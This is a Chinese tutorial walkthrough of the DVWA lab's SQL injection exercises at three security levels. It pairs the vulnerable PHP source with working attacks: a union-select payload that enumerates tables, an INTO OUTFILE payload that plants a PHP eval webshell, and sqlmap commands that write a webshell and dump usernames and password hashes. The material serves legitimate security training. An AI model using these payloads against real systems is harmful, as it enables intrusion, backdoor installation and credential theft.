【dvwa】--SQL注入
为了准备跑路,练习ing。
SQL注入篇
LOW级别
先上源码
<?php
if( isset( $_REQUEST[ 'Submit' ] ) ) {
// Get input
$id = $_REQUEST[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );
// Get results
$num = mysql_numrows( $result );
$i = 0;
while( $i < $num ) {
// Get values
$first = mysql_result( $result, $i, "first_name" );
$last = mysql_result( $result, $i, "last_name" );
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
// Increase loop count
$i++;
}
mysql_close();
}
?>
从源码中可以发现,输入的参数直接带入到了SQL语句中执行,并未做任何过滤。
手注
输入1’报错,后端未对SQL错误进行屏蔽
尝试构造payload测试,获取当前的表名
1’ union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()
发现存在users表,根据表名爆列名
发现字段名,根据字段名获取字段值
拿到md5后,到cmd5**即可
利用SQL注入写入webshell,payload
http://192.168.57.200/vulnerabilities/sqli/?id=1' union select 1,'<?php @eval($_POST[pass]);?>' into outfile '/var/www/html/shell.php' #&Submit=Submit#
需要是数据库管理员
有web目录有写入权限
站库未分离
使用sqlmap写入webshell,必须要指定远端服务器上的文件名
sqlmap -u "http://192.168.57.200/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=ngt585ss15mus0hmek7ra7jid0; security=low" --file-write "/root/shell1.php" --file-dest "/var/www/html/shell1.php"
菜刀连接:
MEDIUM级别
先上源码
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
$id = mysql_real_escape_string( $id );
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );
// Get results
$num = mysql_numrows( $result );
$i = 0;
while( $i < $num ) {
// Display values
$first = mysql_result( $result, $i, "first_name" );
$last = mysql_result( $result, $i, "last_name" );
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
// Increase loop count
$i++;
}
//mysql_close();
}
?>
从源码中可以看出有使用mysql_real_escape_string()对输入的数据进行过滤。百度一下发现过滤了单双引号:
mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。
下列字符受影响:
\x00
\n
\r
\
’
"
\x1a
如果成功,则该函数返回被转义的字符串。如果失败,则返回 false。
过滤了单双引号,where后面就不能使用单双引号了。可以改成16进制编码绕过,此处不再重复。改成16进制后,where后面不需要使用“”
数据库版本:
mysql> select @@version;
±------------------------+
| @@version |
±------------------------+
| 5.5.47-0ubuntu0.14.04.1 |
±------------------------+
high级别
源码:
SQL Injection Source
<?php
if( isset( $_SESSION [ 'id' ] ) ) {
// Get input
$id = $_SESSION[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysql_query( $query ) or die( '<pre>Something went wrong.</pre>' );
// Get results
$num = mysql_numrows( $result );
$i = 0;
while( $i < $num ) {
// Get values
$first = mysql_result( $result, $i, "first_name" );
$last = mysql_result( $result, $i, "last_name" );
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
// Increase loop count
$i++;
}
mysql_close();
}
?>
从图中可以看出,源码未对输入内容进行过滤。但需要在新的页面中手注。此处也可以使用sqlmap实现二阶注入
sqlmap -u "http://localhost/dvwa/vulnerabilities/sqli/session-input.php" --data="id=2&Submit=Submit" --cookie="security=high; PHPSESSID=sn535dq4ec4kv2hi50oeltrua9" --second-url "http://localhost/dvwa/vulnerabilities/sqli/" -D dvwa -T users -C user,password --dump
上一篇: 安全编码规范-小羊的记录本
下一篇: 2019 计蒜之道 初赛 第一场
推荐阅读
-
使用Docker运行Microsoft SQL Server 2017的方法
-
Dapper use Table Value Parameter in C# (Sql Server 数组参数)
-
彻底完全卸载 SQL Server 2005 的图文教程
-
彻底卸载SQL 2005图文教程
-
SQL SERVER数据库清空日志图文教程分享
-
VS2008连接SQL Server数据库文件出错的解决方法
-
SQL中Charindex和Oracle中对应的函数Instr对比
-
oracle 使用sql获取数据库表、表的字段的多种方法
-
java当中JDBC当中请给出一个sql server的stored procedure例子
-
Python实现SQL注入检测插件实例代码